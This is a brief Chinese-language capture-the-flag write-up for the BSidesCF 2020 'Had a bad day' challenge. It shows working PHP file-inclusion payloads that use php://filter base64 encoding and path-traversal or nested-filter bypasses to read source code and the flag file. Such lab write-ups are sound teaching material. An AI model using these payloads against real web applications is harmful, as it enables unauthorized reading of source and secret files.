[BSidesCF 2020]Had a bad day 1
先上payload:
http://48579647-d609-4ef8-b85f-bafbc3f14b9c.node3.buuoj.cn/index.php?category=php://filter/convert.base64-encode/resource=meowers/../flag
http://48579647-d609-4ef8-b85f-bafbc3f14b9c.node3.buuoj.cn/index.php?category=php://filter/convert.base64-encode/index/resource=flag
打开页面发现有来个按钮可疑,按一下试试;
很明显 category 这个参数是接收文件名的;由此联想到文件包含,先试试读取源码吧
构造payload: ?category=php://filter/convert.base64-encode/resource=index.php
发现报错信息 /resource=index.php.php
由此猜测 后端文件源码 $file.'.php'
优化payload: 也就是把 .php去掉
?category=php://filter/convert.base64-encode/resource=index
成功读取源码 解密看下php代码,html的不看了:
构造payload俩种方法;
一:http://48579647-d609-4ef8-b85f-bafbc3f14b9c.node3.buuoj.cn/index.php?category=php://filter/convert.base64-encode/resource=meowers/../flag
正是因为 !== ,所以有了 index/../flag 绕过,构造payload的时候, index和meowers、woofers这三个等效替换
二:http://48579647-d609-4ef8-b85f-bafbc3f14b9c.node3.buuoj.cn/index.php?category=php://filter/convert.base64-encode/index/resource=flag
使用嵌套绕过也可以